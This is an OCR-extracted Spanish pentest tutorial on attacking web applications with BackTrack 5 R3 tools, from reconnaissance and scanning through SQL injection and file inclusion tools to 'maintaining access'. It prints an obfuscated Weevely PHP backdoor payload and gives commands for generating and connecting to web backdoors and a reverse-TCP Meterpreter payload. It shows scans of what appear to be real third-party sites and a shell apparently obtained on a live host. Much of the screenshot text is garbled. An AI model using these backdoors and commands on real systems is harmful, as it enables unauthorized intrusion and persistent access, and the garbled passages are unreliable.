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+ INTRODUCCION

Hoy en dia como muchos de nosotros (Pen-tester’s) tenemos conocimiento que en estos tiempos el
Analisis de Aplicaciones Web juega un papel muy importante al hacer una Evaluacién de la Seguridad
y/o Penetration Testing, ya que esta nos brinda la informacion adecuada acerca de la Aplicacion Web,
como por ejemplo el tipo de Plugin que utiliza, tipos de CMS ya sea Joomla — WordPress u otros.

Esto nos ayudara mucho a determinar que Exploit debemos usar, o ver la manera exacta de explotar las
vulnerabilidades que se pueden presentar al momento de realizar las pruebas de penetracion.

Los analisis de Penetration Testing sirven también para determinar el nivel de seguridad en: un equipo,
en una red de equipos LAN (Local Area Network) o WLAN (Wireless local Area Network), aplicaciones
Web entre otros, por medio de ataques informaticos simulados idénticos a los que realizaria un Cracker
o Black Hat Hacker pero sin poner en riesgo la informacion o la disponibilidad de los servicios, esto se
hace con el fin de encontrar las posibles amenazas en los sistemas IT antes de que las descubra un
atacante (externo o interno). Este proceso también es conocido como Hacking Etico (Ethical Hacking).

Para llevar a cabo este procedimiento de Penetration Testing, se utilizara BackTrack 5 R3, una distro de
Linux basada en Ubuntu hecha perfectamente para llevar a cabo estas pruebas, ya que viene con un
conjunto de herramientas muy importantes que servirade mucho para obtener toda
la informacién necesaria acerca de las Aplicaciones Web, entre otros.
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BackTrack Wiki:
http://www.backtrack-linux.org/wiki/

Descarga:
http://www.backtrack-linux.org/downloads/
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+» METODOS DE ANALISIS DE APLICACIONES WEB

NETWORK MAPPING:

Network Mapping es el estudio de la conectividad fisica de redes. Internet Mapping es el estudio de la
conectividad fisica de la Internet. Network Mapping a menudo se trata de determinar los servidores y
sistemas operativos que se ejecutan en las redes. La ley y la ética de escaneo de puertos son complejas.
Un analisis de la red puede ser detectada por los seres humanos o sistemas automatizados, y se trata
como un acto malicioso.

En la suite de BackTrack se incluye NMAP, una herramienta que ya todos conocemos por su potencia y
eficacia a la hora que realiza su trabajo, la cual nos sirve mucho para poder llevar a cabo
este método tan importante en una Auditoria Web.

NMAP:

Nmap (“mapeador de redes”) es una herramienta de cédigo abierto para exploracién de red y auditoria
de seguridad. Nmap utiliza paquetes IP "crudos" («raw», N. del T.) en formas originales para determinar
qué equipos se encuentran disponibles en una red, qué servicios (nombre y version de la aplicacion)
ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros de paquetes o
cortafuegos se estan utilizando asi como docenas de otras caracteristicas.

Uso:

e nmap www.sitio-web.com
e nmap 192.168.1.1

~ v % root@CalebBucker: ~
File Edit View Terminal Help
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NETIFERA:

Netifera es un escaner de red capaz de analizar pasiva (analisis de un archivo pcap, vive oliendo de red),
asi como activos de andlisis (analisis de puerto de entidad). Permite identificar los hosts de la red.

Este proyecto ofrece muchas ventajas para los desarrolladores de seguridad y los investigadores que
desean implementar nuevas herramientas, asi como la comunidad de usuarios de estas herramientas.

Esta herramienta esta incluida en el BackTrack y se ubica en la siguiente direccién:
Applications - BackTrack - Information Gathering - Network Analysis - Identify Live Hosts - Netifera

El uso es muy facil, solo tenemos que colocar la direccion web donde dice: Type Adreesss... presionamos
enter y nos saldra el sitio web con los target's e IP's a la cual auditaremos.

En este caso he colocado el sitio web: www.paypal.com en la cual he realizado Reverse lookup, TCP
Connect Scan, UDP Scan, Crawler, Lookup NS, Brute Force Host Name:

"o Netifera

File Window Help

J@JB@J[ | & E\’;Jsmffing

Gm-mvpﬂlmm%‘ =0 %Tasks?@‘ & v =g
P @ Target (2) " ||| @ Bruteforce host names *_.paypal.com
£ isc-sns.com Completed (00:01:30) details..
B isc-snsinfo © Lookup NS records for paypal.com
R isc-sns net Completed (731 milliseconds) details..
v 43 paypal.com
1 NS nslise-snsnet & Crawl http://www.paypal.com/ at 173.0.84.34:80/+cp
EZ NS ns2.isc-sns.com e ey, details..
i NS ns3.isc-snsinfo © UDP scan 173.0.84.34
> [ isc-sns.com (1) Completed (10 seconds) details..
¥ [ isc-snsinfo (2) © TCP connect scan 173.0.84.34
P =il ns3.isc-sns.info (2001:500:10::1) Completed (6 seconds) details..
b =i ns3.isc-sns.info (63.243.194.1)
) @ Reverse lookup 173.0.84.2
¥ Hisc-snsnet (2) Completed (708 milliseconds) details..
b =il nslisc-sns.net (2001:470:1a:1) D
b =l nslisc-snsnet (72.52.71.1) @ Resolve name www.paypal.com
v -1 paypal.com (26) Completed (00:00:00) details..
b =l active-www.paypal.com [origin-www.paypal.com..] (173
b =il active-www.paypal.com [www.paypal .com] (173.0.84.34
=il admin.paypal.com (10.73.195.165)
=il email paypal.com (206.165.245.218)
=il images.paypal.com (173.0.84.168)
=il images.paypal.com (173.0.84.177)
=il images.paypal.com (173.0.84.200)
=il images.paypal.com (173.0.84.209) .
B =
J 0° 7 | @ Local Probe ” ‘ 12M of 127M
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s INFORMATION GATHERING

La primera fase de evaluacion de la seguridad se centra en la recopilacion de informacion tanto como
sea posible acerca de una aplicacién web. La recopilacion de informacion es el paso mas critico de una
prueba de seguridad de aplicaciones web. Esta tarea puede llevarse a cabo de muchas maneras
diferentes, mediante el uso de herramientas publicas (motores de bldsqueda), escaner, envio de simples
peticiones HTTP o solicitudes especialmente disefiadas, es posible forzar a la aplicacion a filtrar
informacion, por ejemplo, la revelacién de mensajes de errores o las versiones y las tecnologias
utilizadas.

Hay basicamente dos tipos de recoleccion de informacién: activa y pasiva. Recopilacion de informacion
pasiva es que los atacantes no se comunicaran con el objetivo directamente y estaran tratando de reunir
informacion que estd disponible en la Internet, mientras que en la recoleccion activa de informacién, el
atacante estara en contacto directo con el objetivo y estara tratando de reunir informacion.

THEHARVESTER:

TheHarvester es una herramienta para recopilar cuentas de correo electrénico, nombres de usuario y
nombres de host o subdominios de diferentes fuentes publicas como motores de busqueda y los
servidores de claves PGP.

Uso:

e /pentest/enumeration/theharvester# ./theHarvester.py -d sitio-web.com -| 500 -b google
e /pentest/enumeration/theharvester# ./theHarvester.py -d sitio-web.com -b pgp
e /pentest/enumeration/theharvester# ./theHarvester.py -d sitio-web.com -1 200 -b linkedin

*TheHar
*Coded
*Edge
*cmarto

L ”: 500 results...
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MALTEGO:

Maltego, es una herramienta que se basa en la informacién y aplicacién forense y muestra cémo la
informacion esta conectado el uno al otro. Con Maltego, podemos encontrar las relaciones que las
personas mayormente usan en la actualidad, incluyendo su perfil social (Facebook — Twitter), amigos
mutuos, las empresas que se relacionan con la informacion recopilada, y sitios web. Si queremos
recoger informacidn relacionada con cualquier infraestructura, podemos reunir relacién entre los
dominios y nombres de DNS.

Ubicacion: Applications - Backtrack - Information Gathering - Network Analysis - DNS Analysis —
Maltego

ARQUITECTURA DE MALTEGO

Internal network Internet
N <xml/> »

<xml/>

<xml/>

<html/>
saL

EJEMPLO
D) 3 [ 3 ’ -y Maltego BackTrack Edition 3.1.1
O
- P r ol Manage  Organize

|2 COPY | fiiimber of Rasikts
@ | ‘ L]

- Cut
Paste Clear Quick
- All @ Delete Find

m 2% Select All A\ Add similar Siblings A Select Children 4, Add Children 1 Select by Type =\ =
Entity ¥ Invert Selection ¢ Add Path 2 Select Neighbors 4 Add Neighbors ‘% Select Links A
Selection 32 Select None e Select Parents o Add Parents # Select Bookmarked = TF Reverse Links

o |2« Start Page = | New Graph (4) *
% Main View | Bubble View = Entity List | & |2
G P—— |
]
1 L
e
7 AT \
1 1
= it
translate.google.com, docs. : ) y books,google.com
1 7
= e
picasaweb.google.gdm  clidkserve.dartsdargh.net  video.giogle.com 7 lus.google.com
?
i w5
mail.google.c sites.googlé.com 173.190.77.106 73.194.77.104
1 L]
173.194.77.105 173.194.77.103 173.194.77.147 google.com www.google.com
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¢ CMS IDENTIFICATION

BLINDELEPHANT:

BlindElephant es una herramienta basada en python que se utiliza para realizar Fingerprinting en
Aplicaciones Web. La herramienta es rapida, tiene poco ancho de banda y esta altamente automatizado.

Uso:

e /pentest/web/blindelephant/src/blindelephant# ./BlindElephant.py http://sitio-web.com/ cms

~ v X root@CalebBucker: /pentest/web/blindelephant/src/blindelephant
File Edit View Terminal Help

CMS-EXPLORER:

Sirve para realizar Fingerprinting en Aplicaciones Web, como también puede ser usado para identificar
el tipo de CMS utilizado, por tanto, se realiza el ataque de acuerdo con la informacion obtenida.

Uso:

e /pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://sitio-web.com/ -type cms

~ v % root@CalebBucker: /pentest/enumeration/web/cms-explorer

File Edit View Terminal Help
:/pe pe Joomla

mod
modu

[In]Seguridad Informdtica — http://calebbucker.blogspot.com



http://sitio-web.com/
http://sitio-web.com/

WHATWEB:

Es otra herramienta que se utiliza para identificar el tipo de sistemas de gestion de contenidos (CMS),
plataforma de blogs, estadisticas, bibliotecas Javascript y servidores utilizados.

Cuenta con 900 Plugins para fines de analisis web.

Uso:

e /pentest/enumeration/web/whatweb# ./whatweb http://sitio-web.com/

e /pentest/enumeration/web/whatweb# ./whatweb -v http://sitio-web.com/

e /pentest/enumeration/web/whatweb# ./whatweb -a 3 http://sitio-web.com/

e /pentest/enumeration/web/whatweb# ./whatweb 192.168.1.1/24

% root@CalebBucker: /pentest/enumeration/web/whatweb
/iew Termir H
:/pe e v et
g ef.net 0] Title ], MetaGenerator[Joomla! - Open Source Content Management], IP[88.190.253.
Country[FRANCE] [FR], AddThis, JQuery, probably Joomla[com_content], Apache[1.3.34][mod_fastcgi/2.4.2 i_log_online/6.1 d_vhost_c 1, PHP[5.2.9-1.illimite], proba
bly Mambo[com_content], X-Powered-By[PHP/5.2.9-1.illimite], HTTPServer| 1[Apache/1.3.34 (Ubuntu) mod_vhost_online/1.2 mod_fastcgi/2.4.2 mod_log_online/0.1], HTMLS, Yo
uTube, Adobe-Flash, Cookies[6597982acd81f8366ac89078d7d977df]

wha

Title[ letaGenerator[Joomla! ce Content Management], IP[88.196.253.

], Country [FR], AddThis, JQuery y Joomla[com content], Apache[1.3.34][ 0d.log ne/0.1 host_ ], PHP[5.2.9-1.illimite]
bly Mambo[com c , X-Powered-By[PHP/5.2.9-1.illimite], HTTPServer[ ]1[Apache/1.3.34 (Ubuntu) mod_vhostuenline/1.2 mod_fastcgi/2. mod_log_online/0.1], HTMLS5, Yo
597982acd81f0366ac89078d7d977df

Adobe-Flash
Descrif

Apache
De
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+* IDS/IPS DETECTION

Durante la realizacion de un VA/PT en un dominio, existe la posibilidad de que los servicios IDS-IPS estén
instalados, esto a veces puede detener varios tipos de ataques que se realizan en el dominio.

Una gran cantidad de WAF (Web Application Firewall) se venden a las Empresas como una técnica valida
para la mitigacion de vulnerabilidades en las Aplicaciones Web.

Por suerte, WAF es facil de detectar, porque la mayoria de estos utilizan la firma basada
en métodos de deteccidn, por lo tanto, el atacante puede tratar de codificar los parametros de ataque y
tratar de bypassear el WAF.

En la suite de BackTrack se incluye una herramienta util para la deteccion de los IDS-IPS, la cual es
Waffit.

WAFFIT:

Es una herramienta que detecta los posibles Firewall que pueda tener un servidor web, esto sirve de
mucho, ya que detectar el servidor de seguridad detras del dominio es un paso muy importante en el
proceso de Pruebas de Penetracion.

Uso:

e /pentest/web/waffit# ./wafwOOf.py http://sitio-web.com/

~ v % root@CalebBucker: /pentest/web/waffit
File Edit View Terminal Help

:/pentest/web/waffit# ./wafwo0f.py http://www.imperva.com/

WAFWOOF - Web Application Firewall Detection Tool

By Sandro Gauci

nection!
ction!
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¢ OPEN SOURCE ANALYSIS

Open-Source Analysis se realiza utilizando herramientas como GHDB, revhosts y Xssed. El GHDB
(Google Hack Data Base) y Xssed estan vinculadas a sitios webs, mientras que revhosts es una
herramienta de consola.

GHDB:

Google Hacking Database, el equipo de exploit-db mantiene una base de datos para Google Dork’s que
pueden ayudar mucho a los Pen-tester’s en la recopilacion de informacién. Podemos usar las dork's para
encontrar ciertos tipos de servidores vulnerables u otra informacion.

Por ejemplo, un dork Google como "Microsoft-11S/6.0" intitle:index.of " se puede utilizar para detectar
los servidores que se ejecutan en Microsoft IIS 6.0.

SIS S W1 (S (o] oMl Web Server Detection M

ACKING- TAP ASEE

These links demonstrate Google's awesome ability to profile web servers..

1 5>

DATE Title Summary

XSSED:

www.xssed.com un sitio web que contiene una lista de sitios web vulnerables a Cross Site Scripting
(XSS), presentada por varios autores.

Se puede abrir desde: Applications - Backtrack - Information Gathering - Web Application Analysis -
Open Source Analysis - Xssed.
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s WEB CRAWLERS

En esta ultima categoria de Andlisis Web, se utilizan los famosos Crawlers, esto ayudara mucho a
enumerar los archivos y carpetas "escondidos" dentro de un servidor web.

La suite de BackTrack cuenta con muchas herramientas para llevar a cabo este tipo de analisis como son
el Dirb, Golismero, SqlScan, Deblaze y WebShag.

WEBSHAG:

Webshag es una herramienta programado en Python, que reune las funcionalidades utiles para la
Auditoria de los Servidores Web, como el rastreo web, escaneo de URL o archivo de fuzzing.

Webshag se puede utilizar para analizar un servidor web en HTTP o HTTPS, a través de un proxy HTTP y
el uso de la autenticacion (basica y Digest). Ademas de que propone innovadoras funcionalidades de
evasion de IDS, destinadas a que la correlacion entre la solicitud mas complicado (por ejemplo, utilizar
una muestra aleatoria diferente por cada peticién HTTP del servidor proxy).

Se ubica en: Applications - BackTrack - Information Gathering - Web Application Analysis - Web
Crawlers - WebShag Gui.

* webshag 1.10

PSCAN INFO‘ SP|DER‘ USCAN FUZZ

Settings
Target [host | IPv4]: Port [80]: Start [/index.html]:
www.uap.edu.pe | |80 | |f | | OK H Stop |
Results
internal directories: emails:
/ e_postgrado@uap.edu.pe
JEsp/DondeEstamos/FilialesUAP/Lima/ ' esc_veterinaria@uap.edu.pe '
/Esp/DondeEstamos/ r_castaneda@uap.edu.pe
JEsp/ProgramacionAcademica/ f_ferrari@uap.edu.pe 3
/Esp/SistemaEducativo/ external links:
JEsp/CentrosdeProduccion/ . A
. . www.minsa.gob.pe
[Esp/Mosotros/Universidad/ .
wWww.cip.org.pe
JEsp/Nosotros/ -
. . www_ciplima.org.pe
JEsp/Nosotros/Directorio/ '
A ihreriar v | books.google.com.pe

Console:

INFO Spidering www.uap.edu.pe / 80
ERROR  HEAD /../Ing/CentrosdeProduccion/inicio.aspx == 403

Status
Idle. Last run finished @ 19/10/2012 14:41:04
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DIRBUSTER:

DirBuster es una aplicacién en Java disefiado para realizar Brute Force en los Directorios y Archivos en
servidores web/aplicacion. A menudo es el caso ahora de lo que parece un servidor web en un estado
de la instalacién por defecto no es en realidad, y tiene paginas y aplicaciones ocultas en su interior,
entonces DirBuster intenta encontrar estos.

DirBuster viene un total de 9 listas diferentes, esto hace DirBuster extremadamente eficaz en la
busqueda de los archivos y directorios ocultos. Y si eso no fuera suficiente DirBuster también tiene la
opcidn de realizar un puro Brute Force.

Se puede encontrar en la siguiente ubicacion: Applications - BackTrack - Vulnerabylity Assessment -
Web Application Assessment - Web Application Fuzzers — DirBuster

OWASP DirBuster 0.12 - Web Application Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)

|http://foro.infiernohacker.comA

Work Method () Use GET requests o... (&) Auto Switch (HEAD and GET)
Number Of Threads — =(7} 1 10 Threads [ Go Faster
Select scanning type: (%) List based brute force () Pure Brute Force
File with list of dirs/files
/pentest/web/dirbuster/directory-list-1.0.txt ‘ ['@ BrowseJ [ @ List Info I
v} Min length |1 ‘ Max Length iéﬁ ‘
Select starting options: () Standard start point () URL Fuz
Brute Force Dirs Be Recursive Dir to start with ]/ |
Brute Force Files [[] Use Blank Extention File extention {php l

URL to fuzz - ftest.htmlzurl={dir}.asp

I |

DirBuster Stopped /40433000/

File Options About Help
http:/foro.infiernohacker.com: 80/
List View | Tree View |
Type | Found Response Size | Include | Status
Dir / 200 61282 Scanning -
Dir /Themes/ 302 346 Waiting
File findex.php 200 468 El
Dir [Themesjreference_2_0f 302 346 Waiting
Dir /Themes/reference_2_0fimages/ 302 346 Waiting
Dir [Themes/reference_2_0fimages/post/ 302 346 Waiting
Dir [Themes/reference_2_0fimagesficons/ 302 346 Waiting
Dir /Themes/default/ 302 346 Waiting
Dir /Themes/default/scripts/ 302 346 Waiting -
Dir [Themesjreference_2_0/scripts/ 200 618 Waiting
File /Themes/default/scripts/script.js 200 49381 =]
File /Themes/reference_2_0/scripts/theme.js 200 4176 E
File [Themes/default/scripts/shal.js 200 6047 E | |
File [Themesjdefault/scripts/fader.js 200 7428 [ =
Current speed: 20 requests/sec (Select and right click for more options)
Average speed: (T) 26, (C) 29 requests/sec
Parse Queue Size: 0 Current number of running threads: 10
Total Requests: 4903/3967484 | I Change I
Time To Finish: 1 Day
[ <@ ] [ 00 Pause ] I [ Stop | Report
Brute forceing dirs in / /ngs/
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¢ VULNERABILITY ASSESSMENT AND EXPLOITATION

La etapa de evaluacion de la vulnerabilidad es donde se puede explorar nuestro objetivo en busca de
errores, pero antes de hacer una evaluacién de la vulnerabilidad, la recopilacidon de informacién sobre el
objetivo es mucho mas util.

La fase de recopilacion de informacién sigue siendo el paso clave antes de realizar nuevos ataques,
simplemente porque hace el trabajo mas facil, por ejemplo, en la primera etapa: en el uso de escaners
para identificar el CMS como BlindElephant, se escaneo y se encontrd la version de la aplicacidn
instalada.

Ahora, en la etapa de evaluacion de la vulnerabilidad, se pueden utilizar muchas herramientas
(escaners) que ayudaran mucho a encontrar respectivas vulnerabilidades en un servidor web especifico.

JOOMSCAN:

Es una herramienta basada en Perl que se utiliza para identificar las vulnerabilidades mas conocidas
como Sql Injection, XSS u otras, en los servidores web basados en la plataforma Joomla.

e Permite detectar la versidn de Joomla! que se esta ejecutando.

e Escaneay localiza vulnerabilidades conocidas en Joomla! y sus extensiones.

e Presentainformes en formato texto o HTML.

e Permite su actualizacidon inmediata a través de un escaner o svn.

e Detecta vulnerabilidades de tipo: SQL injection, LFI, RFI, XSS entre otros.

e /pentest/web/joomscantt ./joomscan.pl -u www.sitio-web.com

~ v % root@CalebBucker: /pentest/web/joomscan
File Edit View Terminal Help
H# Fin nting in

~Unable to detect the v n. Is it sure a Joomla?

nting done.

ents Found in front page ##

N content

so exploiting is
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SQLMAP:

Es una herramienta que ayuda a automatizar el proceso de detectar y explotar las vulnerabilidades de
inyeccion SQL permitiendo tener acceso total a la base de datos de los servidores web.

Uso:

e /pentest/database/sqlmap# ./sqlmap.py -u http://www.sitio-web.com/ --dbs

~ v X root@CalebBucker: /pentest/database/sqimap
File Edit View Terminal Help
[*] startir

15
15
15
15
15
15:

s |
UNION
e. Th

r HAVING clause
FIMAP:

Es una pequena herramienta programada en python que puede encontrar, preparar, auditar y explotar
automaticamente los errores de Remote File Inclusion en aplicaciones web. Esta actualmente bajo
desarrollo, pero es utilizable. El objetivo de Fimap es mejorar la calidad y la seguridad de su sitio web.

Uso:

e /pentest/web/fimap# ./fimap.py -u http://localhost/test.php?file=bang&id=23
e /pentest/web/fimap# ./fimap.py -g -q 'noticias.php?id="
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SHODAN:

Esto es otra herramienta de evaluacion web, una utilidad particular para los pentesters. Puede ser
utilizado para recoger una serie de informacién inteligente sobre los dispositivos que estan conectados a
la Internet.

Podemos, por ejemplo, buscar para ver si todos los dispositivos de red, como routers, VolP, impresoras,
camaras, etc, estan en su lugar. Para buscar si algun servicio se esta ejecutando en el dominio, la sintaxis
seria:

e hostname:target.com port:80,21,22

Si deseamos simplemente conocer los resultados sobre el nombre de host, simplemente, la sintaxis
seria:

e hostname:target.com

Main Exploits Research Videos Anniversary Promotion

% SHODAN

Services Directory - Joomla! Resources Directory
urre 8w w0200 x
MySQL 1 Colod, LLE Date: Pri, 21 Sep 2012 16:46:00 GMT
SSH 1 Server: Apache

E Datas X-Powered-By: PHP/5.3.14

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Top Countries reseurees oomia.org Expires: Mon, 1 Jan 2001 00:00:00 GMT
United States ] Cache-Control: post-check=0, pre-check=0

Pragma: no-cache
Set-Cookie: 041c772b92563f5366daacce0f3f536ce=facd5244add40dac4aef68d4c5fciGaT; path=/

Top Cities

p Last-Modified: Fri, 21 Sep 2012 16:46:01 GMT
Dallas 5 Transfer-Encoding: chunked
Atlanta 1

Content-Type: text/html; charset=utf-8

Top Organizations

Colod, LLC 2 Joomla! Documentation
206.123.111.168 HTTP/1.0 200 OK
t-::ﬁzié Date: Thu, 20 Sep 2012 15:33:44 GMT

Server: Apache

EE Dallas X-Powered-By: PHF/5.3.14
X-Content-Type-Options: nosniff
Vary: Accept-Encoding, Cookie
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Content-Language: en
Last-Modified: Tue, 18 Sep 2012 20:02:57 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

docs.joomla.org
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W3AF:

Es una herramienta de Auditoria de Seguridad para Aplicaciones Webs, se
encuentra basicamente dividido en varios médulos como el Ataque, Auditoria, Exploit, Descubrimiento,
Evasion y Brute Force, lo cual se pueden usar todos en consecuencia. Estos mdédulos en W3af vienen
con varios modulos secundarios como, por ejemplo, podemos seleccionar la opcidn XSS en el mdédulo
de Auditoria suponiendo que es necesaria para realizar una determinada Auditoria.

Se ubica en: Applications - BackTrack - Vulnerability Assessment - Web Application Assessment - Web
Vulnerability Scanners - w3af

x w3af - Web Application Attack and Audit Framework

Configuracion del analisis ‘ Llog | Resuliadas) FExplbit

Profiles Target: ‘Insertthetarget URL here ‘ | niciar

I empty_profile Plugin A

E3

OWASP_TOP10 XSS
audit_high_risk # sslCertificate
bruteforce unssL
fast_scan xpath
full audit xsrf This plugin finds Cross Site Scripting (XSS) vulnerabilities.
full_audit_manual_dis¢ [Two configurable parameters exist:
sitemap xst - checkStored
web_infrastructure (=] auth - numberOfChecks
# detailed _[To find XSS bugs the plugin will send a set of javascript str|

# generic “the response. The parameter "checkStored" configures the
+|  bruteforce and at the end, request all pages again searching for that i |

| SRR = javascript strings are sent to every injection point.

Plugin Active
[+] output @ checkStored (/)

romberocrects o

Save configuration ” Revert to previous \.-‘alues]
) -
@0 Ao o0 4

a

Una vez completado el analisis, w3af muestra informacién detallada acerca de las vulnerabilidades
encontradas en el sitio web especificado, que se puede comprometer en consecuencia de una
explotacion adicional.

Configuracion del analisis Log | | Exploit

KB Browser ‘ URLs Request/Response navigator

Vuln Info [ Misc [The URL: “"eapmrm e mineegeier has a path disclosure vulnerability which
edge . | [discloses: “/etc/httpd/conf.d/welcome.conf". This vulnerability was found in the

Enowl Base request with id 84.

[+]  metaTags

[+]  strangeParameters

[+ findComments m

[+]  serverHeader Request | Response
B Raw | Headers
[+
. TRACK sy HTTP/1.1
= strangeHTTPCode Host: . " /!
[=] userDir :|| Accept-Encoding: gzip
=] users Accept: */*

User-Agent: w3af.sourceforge.net
@ User directory: http:// g g

[+]  httpAuthDetect
[+|  findvhost

[+ afd

|+ dnswildcard
[+]  collectCookies

- 2225 ol

@185 A2 -0 ‘l
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UNISCAN:

Es un escaner de Vulnerabilidades Web, dirigido a la seguridad informatica, cuyo objetivo es la
busqueda de vulnerabilidades en los sistemas web. Estd licenciado bajo GNU GENERAL PUBLIC LICENSE
3.0(GPL 3).

Uniscan esta desarrollado en Perl, tiene un facil manejo de expresiones regulares y también es multi-
threaded.

Caracteristicas:

e |dentificacion de las paginas del sistema a través de un rastreador web.
e Prueba de paginas encontradas a través del método GET.

e Prueba de las formas encontradas por el método POST.

e Soporte para peticiones SSL (HTTPS).

e Soporta Proxy.

e Generar lista de sitios a través de Google.

e Generar lista de sitios con Bing.

e Cliente GUI escrito en perl usando tk.

Se puede descargar desde el siguiente link: Download Uniscan Web Vulnerability Scanner v6.2

Uso:

e ./uniscan.pl -u http://www.sitio-web.com/ -qweds

-u http:/ /e -qweds

# Uniscan project #
# http 11scan.sourc rge.net/
RARRAAR R A AR B R AR AR R AR R R R AR B R AR B RAARRR

B |

V. 6.2

: 200 URL: |
: 200 URL: |
200 URL:

: 200 URL: h
: 200 URL: T
: 200 URL: |
E: 200 URL: h
: 200 URL: h

: 200 URL: htt
URL: T
URL: I

9 URL: h

URL: htt
URL: |
URL: T
URL: h
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NIKTO:

Es un escaner de servidor web que realiza pruebas completas contra los servidores web para varios
articulos, incluyendo més de 6500 archivos/CGls potencialmente peligrosos, los controles de versiones
no actualizadas de mas de 1250 servidores, y los problemas especificos de la version de mas de 270
servidores. También comprueba los elementos de configuracion del servidor, tales como la presencia de
multiples archivos de indice y opciones de servidor HTTP.

Nikto es un proyecto robusto que lleva varios afios en desarrollo y se encuentra en constante evolucién.
Unas de las caracteristicas mas interesantes de esta herramienta son la posibilidad de generar reportes
en distintos formatos, la integracion con LibWhisker (Anti-IDS), integracion con Metasploit, entre otras.

Se ubica en: Applications - BackTrack - Vulnerability Assessment - Web Application Assessment - Web
Vulnerability Scanners - Nikto

Uso:

e /pentest/web/nikto# ./nikto.pl -host www.sitio-web.com

~ v % root@CalebBuc /pentest/web/nikto
File Edit View Terminal Help
pentest/web/nikto#

80
2012-10-19 16

0SVDB-576
0SVDB-3268:
allow directory listings through Web Publ

listings through Web Publis

pesting...
Interesting.. . b a\system shell fouRd.
: d, and a test script which runs phpinfo()iwas found.
0SVDB-3268: /image ng found.
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* MAITAINING ACCESS

Una vez que se tiene acceso a la pagina web (objetivo), tenemos que mantener el acceso para su uso
futuro, porque no queremos estar empezando desde cero una y otra vez. Con el fin de evitar esto,
podemos cargar las shell's web o puertas traseras a la pagina web. La codificacién de la puerta trasera
también es importante, ya que no debe crear "ruido" una vez cargado en el servidor. Si es asi, entonces
los administradores pueden facilmente detectar y eliminar las puertas traseras.

En la suite de BackTrack 5 R3 se incorporan buenas herramientas para llevar a cabo este proceso, las
cuales son los siguientes:

WEEVELY:

Es una herramienta esencial para la explotacidén posterior de aplicaciones web, y se puede utilizar como
puerta trasera o como una shell web para gestionar las cuentas web. Weevely busca funciones
como system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(),
python_eval()) utilizando las funciones activadas en una servidor remoto. El cddigo siguiente es un
ejemplo del codigo de la puerta trasera creada por Weevely.

eval(base64_decode('cGFyc2Vfc3RyKCRfUOVSVkVSWydIVFRQX1JFRKVSRVINXSwk
YSk7IGImKHJIc2VOKCRhKT09J2lulyAmlJiBjb3VudCgkYSk9PTkplHsgZWNobyAnPGZv
c2VjPic7ZXZhbChiYXNINjRfZGVjb2RIKHNOcI9yZXBsYWNIKClgliwglisiLCBgb2luK
GFycmF5X3NsaWNIKCRhLGNvdWS50KCRhKS0zKSkpKSk7ZWNobyAnPCI9mb3NIYz4n030='"));

Se ubica en: Applications - BackTrack - Maintaining Access - Web BackDoors - Weevely
Uso:

e /pentest/backdoors/web/weevely# ./weevely.py generate password /root/back.php

: /pentest/backdoors/web/weevely# ./weevely.py generate bucker /root/bucker.php

Stealth tiny web shell

[generate.php] Backdoor file '/root ker.php' created with password 'bucker’.
:/pentest/backdoors/web/wee:

e /pentest/backdoors/web/weevely# ./weevely.py http://www.sitio-web.com/back.php password
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WEBACOO:

WeBaCoo (Web Backdoor Cookie) es un backdoor que proporciona una terminal de conexion a través
de HTTP entre el cliente y el servidor web. Se trata de una herramienta de explotacién para mantener el
acceso a un servidor web (hacked). Fue disefiado para operar bajo el radar de la moderna puesta al
anticuado AV, NIDS, IPS, Network Firewalls y Application Firewalls, lo que demuestra un mecanismo de
sigilo para ejecutar comandos en el servidor comprometido. El archivo ofuscado realiza comunicacidn
mediante HTTP header's Cookie validando solicitudes y respuestas HTTP del servidor web.
WeBaCoo ofrece un modo de generar el cddigo para crear el PHP backdoor, usando payloads
predefinidos. También ofrece la "terminal" el modo en que el usuario puede establecer una
remota conexion con el servidor y ejecutar comandos con privilegios deseados del servicio web.

La descarga esta disponible desde Github: https://github.com/anestisb/WeBaCoo

Opciones:

1) Crear backdoor ofuscado 'backdoor.php' con la configuracion predeterminada:
° ./webacoo.pl -g -0 backdoor.php

2) Crear 'raw-backdoor.php' backdoor des-ofuscado usando la funciona "transito":
° ./webacoo.pl -g -o raw-backdoor.php -f 4 -r

3) Establecer "terminal" conexién con el host remoto usando la configuracion por defecto:
° ./webacoo.pl -t -u http://127.0.0.1/backdoor.php

4) Establecer "terminal" conexidn con el host remoto al configurar algunos argumentos:
° ./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"

5) Establecer "terminal" conexién con el host remoto a través de proxy HTTP:
° ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080

6) Establecer "terminal" conexién con el host remoto a través de HTTP proxy con autenticacion basica:
° ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128

7) Establecer "terminal" conexidn con el host remoto a través de Tor y registrar la actividad:
° ./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txt

= CL-Security@CalebBucker

Archivo Editar Ver Terminal Ayuda

Anestis Bechtsoudis

[+] Connecting to remote server as...
uid=1120036(u64709625) gid=600(ftpusers) groups=600(ftpusers)

[#¥] Type 'load' to use an extension module.
[#¥] Type ':<cmd>' to run local 0S commands.
[*] Type 'exit' to quit terminal.

$ whoami
u64709625

$ id
uid=1120036(u64709625) gid=600(ftpusers) groups=600(ftpusers)

$ pwd
/homepages/31/d377699833/htdocs/loscascayos

$ dir
LICENSE. txt cache includes media tmp
README. txt components index.php modules users.pl
administrator condiciones.html 1language plugins
avisolegal.html configuration.php 1libraries rqRots.txt
backdoor.php images logs teplates _I
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MSFPAYLOAD:

Metasploit se puede utilizar para crear puertas traseras que luego pueden ser utilizados para mantener
el acceso en el servidor web. Esto se puede hacer con la ayuda de Msfpayload. Los pasos para crear
puerta trasera en Msfpayload son como sigue:

Tenemos que seleccionar el Payload que vamos a utilizar para obtener un shell Meterpreter generado a
través de una conexién TCP inverso. El comando seria:

° msfpayload windows/meterpreter/reverse_tcp

Este Payload tiene dos parametros: LHOST (nuestra IP) y el LPORT para seleccionar el puerto que vamos
